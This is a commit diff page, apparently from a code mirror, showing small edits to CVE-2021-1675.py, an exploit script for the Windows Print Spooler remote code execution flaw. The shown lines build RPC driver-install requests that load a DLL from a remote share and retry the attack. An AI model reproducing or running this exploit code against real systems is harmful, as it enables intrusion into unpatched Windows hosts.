pull/25/merge
cube0x0 3 years ago committed by GitHub
parent bab7974d75
commit 9938ba9075
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
  1. 6
      CVE-2021-1675.py

@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL):
return blob return blob
def main(dce, pDriverPath, share): def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package #build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER() container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2 container_info['Level'] = 2
@ -157,7 +157,7 @@ Example;
try: try:
blob = getDrivers(dce, handle) blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "filerepository" in pDriverPath: if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually") print("[-] Specify pDriverPath manually")
sys.exit(1) sys.exit(1)
@ -177,4 +177,4 @@ Example;
print("[*] Try 2...") print("[*] Try 2...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath,options.share)
print("[*] Try 3...") print("[*] Try 3...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath,options.share)

Loading…
Cancel
Save